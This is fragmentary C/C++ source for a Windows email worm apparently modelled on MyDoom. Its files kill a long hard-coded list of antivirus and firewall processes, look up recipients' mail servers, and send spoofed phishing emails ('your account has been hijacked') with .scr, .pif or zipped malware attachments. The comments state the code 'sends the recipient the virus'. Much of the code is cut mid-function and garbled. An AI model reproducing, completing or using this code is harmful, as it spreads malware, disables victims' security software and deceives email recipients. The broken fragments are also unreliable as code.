"FIREWALL.EXE","FLOWPROTECTOR.EXE","FP-WIN_TRIAL.EXE","FRW.EXE","FSAV.EXE","FSAV530STBYB.EXE"
,"FSAV530WTBYB.EXE","FSAV95.EXE","GBMENU.EXE","GBPOLL.EXE","GUARD.EXE","HACKTRACERSETUP.EXE",
"HTLOG.EXE","HWPE.EXE","IAMAPP.EXE","IAMAPP.EXE","IAMSERV.EXE","ICLOAD95.EXE","ICLOADNT.EXE",
"ICMON.EXE","ICSSUPPNT.EXE","ICSUPP95.EXE","ICSUPPNT.EXE","IFW2000.EXE","IPARMOR.EXE",
"IRIS.EXE","JAMMER.EXE","KAVLITE40ENG.EXE",
"KAVPERS40ENG.EXE","KERIO-PF-213-EN-WIN.EXE","KERIO-WRL-421-EN-WIN.EXE",
"KERIO-WRP-421-EN-WIN.EXE","KILLPROCESSSETUP161.EXE","LDPRO.EXE","LOCALNET.EXE",
"LOCKDOWN.EXE","LOCKDOWN2000.EXE","LSETUP.EXE","LUALL.EXE","LUCOMSERVER.EXE","LUINIT.EXE",
"MCAGENT.EXE","MCUPDATE.EXE","MFW2EN.EXE","MFWENG3.02D30.EXE","MGUI.EXE","MINILOG.EXE",
"MOOLIVE.EXE","MRFLUX.EXE","MSCONFIG.EXE","MSINFO32.EXE","MSSMMC32.EXE","MU0311AD.EXE",
"NAV80TRY.EXE","NAVAPW32.EXE","NAVDX.EXE","NAVSTUB.EXE","NAVW32.EXE","NC2000.EXE",
"NCINST4.EXE","NDD32.EXE","NEOMONITOR.EXE","NETARMOR.EXE","NETINFO.EXE","NETMON.EXE",
"NETSCANPRO.EXE","NETSPYHUNTER-1.2.EXE","NETSTAT.EXE","NISSERV.EXE","NISUM.EXE","NMAIN.EXE",
"NORTON_INTERNET_SECU_3.0_407.EXE",
"NPF40_TW_98_NT_ME_2K.EXE","NPFMESSENGER.EXE","NPROTECT.EXE","NSCHED32.EXE","NTVDM.EXE",
"NUPGRADE.EXE","NVARCH16.EXE","NWINST4.EXE","NWTOOL16.EXE","OSTRONET.EXE","OUTPOST.EXE",
"OUTPOSTINSTALL.EXE","OUTPOSTPROINSTALL.EXE","PADMIN.EXE","PANIXK.EXE","PAVPROXY.EXE",
"PCC2002S902.EXE","PCC2K_76_1436.EXE","PCCIOMON.EXE","PCDSETUP.EXE","PCFWALLICON.EXE",
"PCIP10117_0.EXE","PDSETUP.EXE","PERISCOPE.EXE","PERSFW.EXE","PF2.EXE","PFWADMIN.EXE",
"PINGSCAN.EXE","PLATIN.EXE","POPROXY.EXE","POPSCAN.EXE","PORTDETECTIVE.EXE","PPINUPDT.EXE",
"PPTBC.EXE","PPVSTOP.EXE","PROCEXPLORERV1.0.EXE","PROPORT.EXE","PROTECTX.EXE","PSPF.EXE",
"PURGE.EXE","PVIEW95.EXE","QCONSOLE.EXE","QSERVER.EXE","RAV8WIN32ENG.EXE","RESCUE.EXE",
"RESCUE32.EXE",
"RRGUARD.EXE","RSHELL.EXE","RTVSCN95.EXE",
"RULAUNCH.EXE","SAFEWEB.EXE","SBSERV.EXE","SD.EXE","SETUPVAMEEVAL.EXE",
"SETUP_FLOWPROTECTOR_US.EXE","SFC.EXE","SGSSFW32.EXE","avserve2.exe","SHELLSPYINSTALL.EXE",
"SHN.EXE","SMC.EXE","SOFI.EXE","SPF.EXE","SPHINX.EXE","SPYXX.EXE","SS3EDIT.EXE","ST2.EXE",
"SUPFTRL.EXE","SUPPORTER5.EXE","SYMPROXYSVC.EXE","SYSEDIT.EXE","TASKMON.EXE","TAUMON.EXE",
"TAUSCAN.EXE","TC.EXE","TCA.EXE","TCM.EXE","TDS-3.EXE","TDS2-98.EXE","TDS2-NT.EXE",
"TFAK5.EXE","TGBOB.EXE","TITANIN.EXE","TITANINXP.EXE","TRACERT.EXE","TRJSCAN.EXE",
"TRJSETUP.EXE","TROJANTRAP3.EXE","UNDOBOOT.EXE","UPDATE.EXE","VBCMSERV.EXE","VBCONS.EXE",
"VBUST.EXE","VBWIN9X.EXE","VBWINNTW.EXE",
KillProc.cpp
"VCSETUP.EXE","VFSETUP.EXE","VIRUSMDPERSONALFIREWALL.EXE","VNLAN300.EXE","VNPC3000.EXE",
"VPC42.EXE","VPFW30S.EXE","VPTRAY.EXE","VSCENU6.02D30.EXE","VSECOMR.EXE","VSHWIN32.EXE",
"VSISETUP.EXE","VSMAIN.EXE","VSMON.EXE","VSSTAT.EXE","VSWIN9XE.EXE","VSWINNTSE.EXE",
"VSWINPERSE.EXE","W32DSM89.EXE","W9X.EXE","WATCHDOG.EXE","WEBSCANX.EXE","WGFE95.EXE",
"WHOSWATCHINGME.EXE","WINRECON.EXE","WNT.EXE","WRADMIN.EXE","WRCTRL.EXE","WSBGATE.EXE",
"WYVERNWORKSFIREWALL.EXE","XPF202EN.EXE","ZAPRO.EXE","ZAPSETUP3001.EXE","ZATUTOR.EXE",
"ZAUINST.EXE","ZONALM2601.EXE","ZONEALARM.EXE","CCAPP.exe", 0 };
register int m;
KillProcess(exelst[m]);
       return 0;
}
{
       BOOL bResult,bResultm;
       DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0;
       DWORD iCbneeded,i,iFound=0;
       char szName[MAX_PATH],szToTermUpper[MAX_PATH];
       HANDLE hProc,hSnapShot,hSnapShotm;
       OSVERSIONINFO osvi;
       HINSTANCE hInstLib;
       int iLen,iLenP,indx;
       HMODULE hMod;
       PROCESSENTRY32 procentry;
       MODULEENTRY32 modentry;
       iLenP=strlen(szToTerminate);
       if(iLenP<1 || iLenP>MAX_PATH) return 632;
       for(indx=0;indx<iLenP;indx++)
           szToTermUpper[indx]=toupper(szToTerminate[indx]);
       szToTermUpper[iLenP]=0;
        BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * );
        BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *,
           DWORD, LPDWORD );
        DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE,
           LPTSTR, DWORD );
         HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD) ;
         BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32) ;
         BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32) ;
         BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32) ;
         BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32) ;
       osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
       bResult=GetVersionEx(&osvi);
       if(!bResult)
           return 606;
       if((osvi.dwPlatformId != VER_PLATFORM_WIN32_NT) &&
           (osvi.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS))
           return 607;
       if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)
       {
            hInstLib = LoadLibraryA("PSAPI.DLL");
            if(hInstLib == NULL)
KillProc.cpp
return 605;
                if(lpfEnumProcesses == NULL ||
                   lpfEnumProcessModules == NULL ||
                   lpfGetModuleBaseName == NULL)
                   {
                      FreeLibrary(hInstLib);
                      return 700;
                   }
               bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);
               if(!bResult)
               {
                   FreeLibrary(hInstLib);
                   return 701;
               }
iNumProc=iCbneeded/sizeof(DWORD);
               for(i=0;i<iNumProc;i++)
               {
                   strcpy(szName,"Unknown");
                   hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,
                        aiPID[i]);
                   if(hProc)
                   {
                      if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) )
                      {
                          iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);
                      }
                   }
                   CloseHandle(hProc);
if(strcmp(strupr(szName),szToTermUpper)==0)
if(strcmp(_strupr(szName),szToTermUpper)==0)
                   {
                       iFound=1;
                       hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);
                       if(hProc)
                       {
                           if(TerminateProcess(hProc,0))
                           {
                                CloseHandle(hProc);
                                FreeLibrary(hInstLib);
                                return 0;
                           }
                           else
                           {
KillProc.cpp
                                  CloseHandle(hProc);
                                  FreeLibrary(hInstLib);
                                  return 602;
                              }
                       }
                       else
                       {
                              FreeLibrary(hInstLib);
                              return 604;
                       }
                   }
               }
      }
      if(osvi.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
      {
               hInstLib = LoadLibraryA("Kernel32.DLL");
               if( hInstLib == NULL )
                   return 702;
               lpfCreateToolhelp32Snapshot=
                   (HANDLE(WINAPI *)(DWORD,DWORD))
                   GetProcAddress( hInstLib,
                   "CreateToolhelp32Snapshot" ) ;
               lpfProcess32First=
                   (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
                   GetProcAddress( hInstLib, "Process32First" ) ;
               lpfProcess32Next=
                   (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
                   GetProcAddress( hInstLib, "Process32Next" ) ;
               lpfModule32First=
                   (BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
                   GetProcAddress( hInstLib, "Module32First" ) ;
               lpfModule32Next=
                   (BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
                   GetProcAddress( hInstLib, "Module32Next" ) ;
               if( lpfProcess32Next == NULL ||
                   lpfProcess32First == NULL ||
                   lpfModule32Next == NULL ||
                   lpfModule32First == NULL ||
                   lpfCreateToolhelp32Snapshot == NULL )
               {
                   FreeLibrary(hInstLib);
                   return 703;
               }
               hSnapShot = lpfCreateToolhelp32Snapshot(
                   TH32CS_SNAPPROCESS, 0 ) ;
               if( hSnapShot == INVALID_HANDLE_VALUE )
               {
                   FreeLibrary(hInstLib);
                   return 704;
               }
               procentry.dwSize = sizeof(PROCESSENTRY32);
               bResult=lpfProcess32First(hSnapShot,&procentry);
KillProc.cpp
               while(bResult)
               {
                   hSnapShotm = lpfCreateToolhelp32Snapshot(
                       TH32CS_SNAPMODULE, procentry.th32ProcessID) ;
                   if( hSnapShotm == INVALID_HANDLE_VALUE )
                   {
                       CloseHandle(hSnapShot);
                       FreeLibrary(hInstLib);
                       return 704;
                   }
                   modentry.dwSize=sizeof(MODULEENTRY32);
                   bResultm=lpfModule32First(hSnapShotm,&modentry);
                   while(bResultm)
                   {
                       if(strcmp(modentry.szModule,szToTermUpper)==0)
                       {
iFound=1;
                              hProc=OpenProcess(PROCESS_TERMINATE,FALSE,procentry.th32ProcessID);
                              if(hProc)
                              {
                                  if(TerminateProcess(hProc,0))
                                  {
                                            CloseHandle(hSnapShotm);
                                            CloseHandle(hSnapShot);
                                            CloseHandle(hProc);
                                            FreeLibrary(hInstLib);
                                            return 0;
                                     }
                                     else
                                     {
                                            CloseHandle(hSnapShotm);
                                            CloseHandle(hSnapShot);
                                            CloseHandle(hProc);
                                            FreeLibrary(hInstLib);
                                            return 602;
                                     }
                              }
                              else
                              {
                                     CloseHandle(hSnapShotm);
                                     CloseHandle(hSnapShot);
                                     FreeLibrary(hInstLib);
                                     return 604;
                              }
                       }
                       else
                       {
                              modentry.dwSize=sizeof(MODULEENTRY32);
                              bResultm=lpfModule32Next(hSnapShotm,&modentry);
                       }
                   }
KillProc.cpp
                   CloseHandle(hSnapShotm);
                   procentry.dwSize = sizeof(PROCESSENTRY32);
                   bResult = lpfProcess32Next(hSnapShot,&procentry);
               }
               CloseHandle(hSnapShot);
      }
      if(iFound==0)
      {
          FreeLibrary(hInstLib);
          return 603;
      }
      FreeLibrary(hInstLib);
      return 0;
}
Mailer.cpp
/************************************
*
* Main code for the massmailer.
*
* Integrates the use of dnsapi.dll
* to query the dns to find MX server
* (Mail Exchanger server) of the user
*
* mail_it thread takes one paramater,
* which is the address.
*
*
*
************************************/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <iphlpapi.h>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment (lib, "ws2_32.lib")
#include <windns.h>
#include <stdlib.h>
#include <iosfwd>
#include <fstream>
#include "MX.h"
#include "Message.h"
#include "ZipIt.h"
using namespace std;
typedef DNS_STATUS (WINAPI *DNSQUERYA)(IN PCSTR pszName, IN WORD wType, IN DWORD Options, IN
PIP4_ARRAY aipServers OPTIONAL, IN OUT PDNS_RECORD *ppQueryResults OPTIONAL, IN OUT PVOID *
pReserved OPTIONAL);
      HINSTANCE hDnsapi;
      DNSQUERYA pDnsQuery_A;
      DNS_RECORD *pQueryResults, *pQueryRec;
      DNS_STATUS statusDns;
      char szDnsApi[] = "dnsapi.dll";
      hDnsapi = GetModuleHandle(szDnsApi);
      if (hDnsapi == NULL) {
          hDnsapi = LoadLibrary(szDnsApi);
          if (hDnsapi == NULL) return NULL;
      }
      pDnsQuery_A = (DNSQUERYA)GetProcAddress(hDnsapi, "DnsQuery_A");
Mailer.cpp
pQueryRec=pQueryResults;
SOCKADDR_IN SockAddr;
         hServer = socket(PF_INET,SOCK_STREAM,0);
         if (hServer==INVALID_SOCKET) return FALSE;
             SockAddr.sin_addr.s_addr = resolve(pQueryRec->Data.MX.pNameExchange);
             SockAddr.sin_family = AF_INET;
             SockAddr.sin_port = htons(25);
    int iTimeout = 0;
    DWORD iIP;
FIXED_INFO * FixedInfo;
   ULONG    ulOutBufLen;
   DWORD    dwRetVal;
        iTimeout = 3000;
iIP=resolve(FixedInfo->DnsServerList.IpAddress.String);
         printf("\r\n");
         MX mx = MxRecursiveGet(d_omain,iIP,iTimeout);
         if (!mx.dwNumReplies) {
         return 1;
         }
Mailer.cpp
hServer = socket(PF_INET,SOCK_STREAM,0);
    if (hServer==INVALID_SOCKET) return FALSE;
SOCKADDR_IN SockAddr;
        SockAddr.sin_addr.s_addr = resolve(mx.mxReplies->sHostname);
        SockAddr.sin_family = AF_INET;
        SockAddr.sin_port = htons(25);
MxClearBuffer(&mx);
     return 0;
}
#define MAX_DOMAIN 80
int mailer(char *address)
{
     OSVERSIONINFO osvi;
     BOOL bResult;
     WSADATA data;
     WSAStartup(MAKEWORD(2,0), &data);
     char domain[MAX_DOMAIN], *p;
     for (p=address; *p && *p != '@'; p++);
     if (*p++ != '@') return 0;
     lstrcpyn(domain, p, MAX_DOMAIN-1);
     osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
         bResult=GetVersionEx(&osvi); //obtain OS of comp
     if(!bResult)
         return 606;
     if((osvi.dwPlatformId != VER_PLATFORM_WIN32_NT) && //if for some reason not NT,2k,XP or
98,95,ME return
         (osvi.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS))
         return 607;
  if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT) //if OS is XP,2k or NT use the dnsapi.dll
library to obtain mx server
     {
         dns_connect(domain,address);
else{
  }
return 0;
}
       mailer((char *)pv);
       return 0;
}
Message.h
/**************************************
* Purpose:
* Generates Email message and sends
* the recipient the virus
*
* TODO: Add in a mail queue. Chose random
* address from queue and pop it off
* and use it as from address
*
**************************************/
}
void recvbuff()
{
    if(!chk(recv(hServer,bigbuff,sizeof(bigbuff),0)))
        ErrorLevel = ERROR_LEVEL_RECEIVE;
    if (bigbuff[0]=='4' || bigbuff[0]=='5') ErrorLevel = ERROR_LEVEL_RECEIVE;
//gets the date from the local system then implements that as the date of when email was sent
void getdate(FILETIME *time, char *buf)
{
        SYSTEMTIME t;
    TIME_ZONE_INFORMATION tmz_info;
    DWORD daylight_flag; int utc_offs, utc_offs_u;
        LPSTR weekdays[7] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
        LPSTR months[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep",
"Oct", "Nov", "Dec" };
     if (time == NULL) {
              GetLocalTime(&t);
     } else {
         FILETIME lft;
         FileTimeToLocalFileTime(time, &lft);
         FileTimeToSystemTime(&lft, &t);
     }
     tmz_info.Bias = 0;
     daylight_flag = GetTimeZoneInformation(&tmz_info);
     utc_offs = tmz_info.Bias;
     if (daylight_flag == TIME_ZONE_ID_DAYLIGHT) utc_offs += tmz_info.DaylightBias;
Message.h
     utc_offs = -utc_offs;
     utc_offs_u = (utc_offs >= 0) ? utc_offs : -utc_offs;
    char syste[100];
    GetSystemDirectory(syste,sizeof(syste));
    srand(GetTickCount()); //Seeds random number generator
#define CRLF "\r\n"
/////////////////////////////////////////////////
static const char *gen_names[] = {
   "server","administration", "managment", "service", "userhelp"
};
#define dmain 80
    char domain[dmain], *p;
    for (p=strTo; *p && *p != '@'; p++);
    if (*p++ != '@') return 0;
    lstrcpyn(domain, p, dmain-1);
char froms[255];
int i;
i = rand() % gen_names_cnt;
lstrcpy(froms, gen_names[i]);
    lstrcat(froms, "@");
    lstrcat(froms, domain);
////////////////////////////////////////////////
     char subject[200];
static const char *subjects[] = {
   "Urgent Update!", "Server Error", "User Info", "URGENT PLEASE READ!", "Detailed
Information",
       "User Information", "Email Account Information"
};
#define subjects_names (sizeof(subjects) / sizeof(subjects[0]))
int j;
j = rand() % subjects_names;
lstrcpy(subject, subjects[j]);
Message.h
////////////////////////////////////////////////
char attachment[200];
static const char *attachments[] = {
   "Update","Details","Information", "Gift", "Word Document", "Account Information"
};
int k;
k = rand() % attachments_names;
lstrcpy(attachment, attachments[k]);
///////////////////////////////////////////////
char message[200];
static const char *messages[] = {
   "There is urgent information in the attachment regarding your Email account",
       "Your Email account information has been removed from the system due to inactivity. To
renew your account information refer to the attachment",
       "We regret to inform you that your account has been hijacked and used for illegal
purposes. The attachment has more information about what has happened.",
       "Our Email system has received reports of your account flooding email servers. There
is more information on this matter in the attachment",
       "Due to recent internet attacks, your Email account security is being upgraded. The
attachment contains more details",
       "Our server is experiencing some latency in our email service. The attachment contains
details on how your account will be affected."
};
int l;
l = rand() % message_names;
lstrcpy(message, messages[l]);
////////////////////////////////////////////////
char extension[200];
static const char *extensions[] = {
   ".zip",".scr",".pif", ".cmd"
};
int m;
m = rand() % extensions_names;
lstrcpy(extension, extensions[m]);
lstrcat(attachment,extension);
//printf(attachment); debugging purposes
////////////////////////////////////////////////
///////////////////////////////////////////////
if(strstr(attachment,".zip"))
{
     strcat(syste,"\\base64zip.sys");
     //printf(syste); debug
}
Message.h
else
{
strcat(syste,"\\base64exe.sys");
//printf(syste); even more debuggin
}
//////////////////////////////////////////////
/***************************************
* Standard Email bullshit sent to the server
* I had to read some tutorials on this
* Main part of the massmailing :P
***************************************/
     sprintf(MessageBuffer,"%s",CRLF); sendmsgbuff();
     sprintf(MessageBuffer,"----zzzxxxzzzxxx--%s",CRLF); sendmsgbuff();
     sprintf(MessageBuffer,"%s.%s",CRLF,CRLF);
     sendmsgbuff(); recvbuff();
     sprintf(MessageBuffer,"QUIT%s",CRLF);
     sendmsgbuff(); recvbuff();
     closesocket(hServer);
     return TRUE;
}
MX.h
/****************************************************
* Originally written in December 03
*
* Purpose:
* Manually queries the users DNS server
* and looksup the MX record of the recipient's
* address. Then, mailer.cpp takes the MX server
* address and looks up the IP address of the server
* and uses sendmail function to send the virus to them
*
*
*****************************************************/
#define ERROR_LEVEL_NONE 0
#define ERROR_LEVEL_SEND 1
#define ERROR_LEVEL_RECEIVE 2
SOCKET hServer;
WSADATA wsData;
int ErrorLevel = ERROR_LEVEL_NONE;
} * PDNSRR, DNSRR;
       DWORD    dwNumReplies;
       PDNSRR   mxReplies;
#define    DNS_HEADER_LEN      12
#define    DNS_QUESTION_LEN    260
#define    DNS_RFIXED_LEN      10
#define    DNS_RESOURCE_LEN    522
#define    DNS_MAX_QUESTION    275
       int i = 0, p = 0;
       int s = strlen(szQuery)+1;
       int max = 12 + s + 5;
    if (pwSize)
        *pwSize = (WORD) max;
//begin formulating server query
       for(i=0;i<=s;i++) {
           if (i==s) {
               cBuffer[p+12] = i-p-1;
               DWORD dwX = 0x01000F00;
               memcpy((void*) &cBuffer[12+1+i], (void*) &dwX, 4);
           } else if (szQuery[i]=='.') {
               cBuffer[p+12] = i-p;
               p = i+1;
           } else {
               cBuffer[12+1+i] = szQuery[i];
           }
       }
       return cBuffer;
}
if (!szDNS) return 0;
       WORD wOctPtr = 0;
       signed int i = 0;
       BYTE c = NULL;
       for (i=iOffset;szDNS[i];i++) {
           int j = i - iOffset - 1;
           if (!c)
           {
               c = szDNS[i];
               if (j!=(-1)) szBuffer[j] = '.';
MX.h
if (c & 0xC0) {
                      c = c & 0x3F;
                      wOctPtr = c;
                      wOctPtr <<= 8;
                      c = szDNS[++i];
                      wOctPtr |= c;
                      return MxReadName(szDNS,wOctPtr,&szBuffer[j+1])?(i+1):0;
               }
           } else {
               szBuffer[j] = szDNS[i];
               c--;
           }
       }
       szBuffer[i++] = 0;
       return i;
}
       if (int i = MxReadName(szDNS,iOff,dns.sQuestion)) {
           dns.wType = htons(*((WORD*) &szDNS[i]));
           dns.wClass = htons(*((WORD*) &szDNS[i+2]));
           if (pQuestion) memcpy((void*) pQuestion,
                (void*) &dns, DNS_QUESTION_LEN);
           return (i+4);
       } else {
           return 0;
       }
}
           dns.dnsFixed.dwTTL             =   htonl(dns.dnsFixed.dwTTL);
           dns.dnsFixed.wClass            =   htons(dns.dnsFixed.wClass);
           dns.dnsFixed.wDataLength       =   htons(dns.dnsFixed.wDataLength);
           dns.dnsFixed.wType             =   htons(dns.dnsFixed.wType);
           i += DNS_RFIXED_LEN;
           iRet=i+dns.dnsFixed.wDataLength;
           switch(dns.dnsFixed.wType) {
           case 2:
               iRet = MxReadName(szDNS, i, dns.sHostname);
               break;
           case 15:
MX.h
default:
               break;
           }
       }
       return iRet;
}
       if (!szDNS) {
           return NULL;
       } else if (!(pDnsRR = new DNSRR[num])) {
           return NULL;
       }
       return false;
}
//is it a digit? 0-9
bool IsDigit(LPCSTR sVal) {
    do { if (!isdigit(*sVal)) return false; }
MX.h
       while (*++sVal);
       return true;
}
       if (!iRet) {
           ResetEvent(hEvent);
           return true;
       }
       else if (iRet==WSAEWOULDBLOCK) {
           if (WaitForSingleObject(hEvent,iTimeout)) {
                return false;
           } else if (!ResetEvent(hEvent)) {
                return false;
           } else {
                return true;
           }
       } else {
           return false;
       }
}
//Recursively searches the server for the MX record
MX MxRecursiveGet(LPCSTR sRequest, DWORD dwServerIP, int iTimeout) {
MX mxReturn = {0};
               bInitiator = true;
               ipc = 0;
if (!bInitiator) {
else wQ = htons(wQuery);
       sAddr.sin_addr.S_un.S_addr = dwServerIP;
       sAddr.sin_family = AF_INET;
       sAddr.sin_port = htons(53);
       if (!(hEvent = CreateEvent(NULL,TRUE,FALSE,NULL)))
           goto end_get;
       if (WSAEventSelect(s,hEvent,FD_CONNECT) == SOCKET_ERROR)
           goto end_get;
       if (WaitForSingleObject(hEvent,iTimeout))
           goto end_get;
       if ((WSAEventSelect(s,hEvent,NULL)==SOCKET_ERROR) ||
           (ioctlsocket(s,FIONBIO,&dwZero)==SOCKET_ERROR ))
       {
           goto end_get;
       }
       if (!ResetEvent(hEvent)) {
           goto end_get;
       }
       if (send(s,(LPCSTR) &wQ, 2, 0) != 2)
           goto end_get;
       if (send(s,(LPCSTR) szQuery, wQuery, 0) != wQuery)
           goto end_get;
       if (WSAEventSelect(s,hEvent,FD_READ) == SOCKET_ERROR)
           goto end_get;
       if (recv(s,(char*)&wReply,2,0)!=2) {
           if (WSAWait(hEvent,iTimeout)) {
               if (recv(s,(char*)&wReply,2,0)!=2) {
                   goto end_get;
       } } }
wReply = htons(wReply);
       if (!(szReply=(char*)malloc(wReply)))
           goto end_get;
       if (recv(s,szReply,wReply,0)!=wReply) {
MX.h
               if (WSAWait(hEvent,iTimeout)) {
                   if (recv(s,szReply,wReply,0)!=wReply) {
                       goto end_get;
           } } }
           CloseHandle(hEvent);
           closesocket(s);
           s = INVALID_SOCKET;
if (dnsHead.wIdentification == MxGetID(0)) {
if (dnsHead.wNumberOfAnswers) {
                   if (mxReturn.mxReplies = MxGetResources(szReply,
                       dnsHead.wNumberOfAnswers))
                   {
                       mxReturn.dwNumReplies = dnsHead.wNumberOfAnswers;
                   }
                   goto end_get;
               }
else if (dnsHead.wNumberOfAuthority) {
                       for (i=0;(i<dnsHead.wNumberOfAuthority)&&(!mxReturn.mxReplies);i++) {
                           if ((dnsRes[i].dnsFixed.wType == 2) && // Authority Nameserver
                               (dnsRes[i].dnsFixed.wClass== 1)) // Internet
                           {
                               DWORD dwConnect = GetIPAddr(dnsRes[i].sHostname);
                               if (dwConnect) mxReturn = MxRecursiveGet(
                                   sRequest,dwConnect,iTimeout);
                           }
                       }
               }
           }
end_get:
        if (s != INVALID_SOCKET) closesocket(s);
        if (szReply) free(szReply);
return mxReturn;
    }
MX.h
/********************************************
* Based on I-WORM.MYDOOM.A Imported my own
* algorithm to create a 32-bit crc table
********************************************/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma pack(push, 1)
struct zip_eod_t {
    DWORD signature;
    WORD disk_no;
    WORD disk_dirst;
    WORD disk_dir_entries;
    WORD dir_entries;
    DWORD dir_size;
    DWORD dir_offs;
    WORD comment_len;
};
struct zip_dir_t {
    DWORD signature;
    WORD made_by;
    WORD ver_needed;
    WORD flags;
    WORD method;
    WORD lastmod_time;
    WORD lastmod_date;
    DWORD crc;
    DWORD compressed_size;
    DWORD uncompressed_size;
    WORD filename_length;
    WORD extra_length;
    WORD comment_length;
    WORD disk_no;
    WORD internal_attr;
    DWORD external_attr;
    DWORD local_offs;
};
#pragma pack(pop)
unsigned long crc32(unsigned long crc, const unsigned char *buf, int len)
ZipIt.cpp
{
    #define CRC32_POLYNOMIAL 0xEDB88320     //the standard PKZIP polynomial
unsigned long crc_table[256];
    unsigned long crc32;
    int i, j;
       GetSystemTime(&systime);
       if ((systime.wYear < 1999) || (systime.wYear > 2010))
           systime.wYear = 2004;
       if (systime.wMonth < 1 || systime.wMonth > 12) systime.wMonth = 1;
       if (systime.wDay < 1 || systime.wDay > 31) systime.wDay = 10;
       *f_date =
           ((systime.wYear-1980) << 9) |
           (systime.wMonth << 5) |
           systime.wDay;
       *f_time =
           (systime.wHour << 11) |
           (systime.wMinute << 5) |
           (systime.wSecond / 2);
}
       hdr1.signature = 0x04034b50;
       dir1.ver_needed = hdr1.ver_needed = 10;
       dir1.flags = hdr1.flags = 0;
       dir1.method = hdr1.method = 0;
       zip_putcurtime(&hdr1.lastmod_time, &hdr1.lastmod_date);
       dir1.lastmod_time = hdr1.lastmod_time;
       dir1.lastmod_date = hdr1.lastmod_date;
       hdr1.crc = zip_calc_crc32(hFileIn);
       dir1.crc = hdr1.crc;
dir1.local_offs = offs;
       for (;;) {
           i = 0;
           if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
           if (i == 0) break;
           WriteFile(hFileOut, buf, i, &j, NULL);
           offs += i;
       }
eod1.dir_offs = offs;
       dir1.signature = 0x02014b50;
       dir1.made_by = 20;
       dir1.internal_attr = 0;
       dir1.external_attr = 0x20;
       WriteFile(hFileOut, &dir1, sizeof(dir1), &i, NULL);
       offs += sizeof(dir1);
       WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
       offs += lstrlen(store_as);
       eod1.signature = 0x06054b50;
       eod1.disk_no = 0;
       eod1.disk_dirst = 0;
       eod1.disk_dir_entries = 1;
       eod1.dir_entries = eod1.disk_dir_entries;
       eod1.dir_size = offs - eod1.dir_offs;
       eod1.comment_len = 0;
       WriteFile(hFileOut, &eod1, sizeof(eod1), &i, NULL);
       CloseHandle(hFileOut);
       CloseHandle(hFileIn);
       return 0;
}